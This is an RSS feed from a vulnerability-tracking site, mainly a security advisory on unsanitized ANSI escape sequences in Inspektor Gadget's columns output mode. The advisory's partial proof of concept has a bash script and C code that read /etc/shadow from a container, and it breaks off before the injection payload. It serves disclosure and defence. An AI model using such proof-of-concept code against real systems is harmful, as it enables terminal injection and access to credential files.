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    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
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    <lastBuildDate>Wed, 07 Oct 2026 20:25:31 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-268244</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-268244</link>
      <description>EUVD-2026-268244</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-268244</guid>
    </item>
    <item>
      <title>fkie_cve-2026-25996</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-25996</link>
      <description>&lt;p&gt;Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. String fields from eBPF events in columns output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of ig operators, with various effects. The columns output mode is the default when running ig run interactively.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. String fields from eBPF events in columns output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of ig operators, with various effects. The columns output mode is the default when running ig run interactively.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-25996</guid>
    </item>
    <item>
      <title>GHSA-34r5-6j7w-235f — Inspektor Gadget uses unsanitized ANSI Escape Sequences In `columns` Output Mode</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-34r5-6j7w-235f</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/inspektor-gadget/inspektor-gadget&lt;/p&gt;
&lt;p&gt;### Description
String fields from eBPF events in `columns` output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences.&lt;/p&gt;
&lt;p&gt;Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of `ig` operators, with various effects.&lt;/p&gt;
&lt;p&gt;The `columns` output mode is the default when running `ig run` interactively.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;#### Attachments
run.sh
```bash&lt;/p&gt;
&lt;p&gt;#!/bin/bash
set -e&lt;/p&gt;
&lt;p&gt;SCRIPT_DIR=&amp;#34;$(cd &amp;#34;$(dirname &amp;#34;$0&amp;#34;)&amp;#34; &amp;amp;&amp;amp; pwd)&amp;#34;
CONTAINER_NAME=&amp;#34;poc-escape-inject&amp;#34;&lt;/p&gt;
&lt;p&gt;echo &amp;#34;Make sure ig is running in another terminal:&amp;#34;
echo &amp;#34;  sudo ig run trace_open -c ${CONTAINER_NAME}&amp;#34;
echo &amp;#34;&amp;#34;
echo &amp;#34;Press Enter to continue...&amp;#34;
read -r&lt;/p&gt;
&lt;p&gt;sudo docker run --rm \
    --name &amp;#34;${CONTAINER_NAME}&amp;#34; \
    -v &amp;#34;${SCRIPT_DIR}/escape_inject.c:/src/escape_inject.c:ro&amp;#34; \
    gcc:latest \
    bash -c &amp;#34;
        gcc -o /tmp/escape_inject /src/escape_inject.c &amp;amp;&amp;amp; \
        /tmp/escape_inject
    &amp;#34;
```&lt;/p&gt;
&lt;p&gt;escape_inject.c
```c
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;&lt;/p&gt;
&lt;p&gt;static void read_file(const char *path)
{
	int fd = open(path, O_RDONLY);
	if (fd &amp;gt;= 0)
		close(fd);
}&lt;/p&gt;
&lt;p&gt;static void create_file(const char *path)
{
	int fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644);
	if (fd &amp;gt;= 0)
		close(fd);
}&lt;/p&gt;
&lt;p&gt;int main(void)
{
	printf(&amp;#34;[1] normal activity\n&amp;#34;);
	create_file(&amp;#34;/tmp/app.log&amp;#34;);
	printf(&amp;#34;[2] malicious read of /etc/shadow\n&amp;#34;);
	read_file(&amp;#34;/etc/shadow&amp;#34;);
	usleep(300000);
	pr…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/inspektor-gadget/inspektor-gadget&lt;/p&gt;
&lt;p&gt;### Description
String fields from eBPF events in `columns` output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences.&lt;/p&gt;
&lt;p&gt;Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of `ig` operators, with various effects.&lt;/p&gt;
&lt;p&gt;The `columns` output mode is the default when running `ig run` interactively.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;#### Attachments
run.sh
```bash&lt;/p&gt;
&lt;p&gt;#!/bin/bash
set -e&lt;/p&gt;
&lt;p&gt;SCRIPT_DIR=&amp;#34;$(cd &amp;#34;$(dirname &amp;#34;$0&amp;#34;)&amp;#34; &amp;amp;&amp;amp; pwd)&amp;#34;
CONTAINER_NAME=&amp;#34;poc-escape-inject&amp;#34;&lt;/p&gt;
&lt;p&gt;echo &amp;#34;Make sure ig is running in another terminal:&amp;#34;
echo &amp;#34;  sudo ig run trace_open -c ${CONTAINER_NAME}&amp;#34;
echo &amp;#34;&amp;#34;
echo &amp;#34;Press Enter to continue...&amp;#34;
read -r&lt;/p&gt;
&lt;p&gt;sudo docker run --rm \
    --name &amp;#34;${CONTAINER_NAME}&amp;#34; \
    -v &amp;#34;${SCRIPT_DIR}/escape_inject.c:/src/escape_inject.c:ro&amp;#34; \
    gcc:latest \
    bash -c &amp;#34;
        gcc -o /tmp/escape_inject /src/escape_inject.c &amp;amp;&amp;amp; \
        /tmp/escape_inject
    &amp;#34;
```&lt;/p&gt;
&lt;p&gt;escape_inject.c
```c
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;&lt;/p&gt;
&lt;p&gt;static void read_file(const char *path)
{
	int fd = open(path, O_RDONLY);
	if (fd &amp;gt;= 0)
		close(fd);
}&lt;/p&gt;
&lt;p&gt;static void create_file(const char *path)
{
	int fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644);
	if (fd &amp;gt;= 0)
		close(fd);
}&lt;/p&gt;
&lt;p&gt;int main(void)
{
	printf(&amp;#34;[1] normal activity\n&amp;#34;);
	create_file(&amp;#34;/tmp/app.log&amp;#34;);
	printf(&amp;#34;[2] malicious read of /etc/shadow\n&amp;#34;);
	read_file(&amp;#34;/etc/shadow&amp;#34;);
	usleep(300000);
	pr…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-34r5-6j7w-235f</guid>
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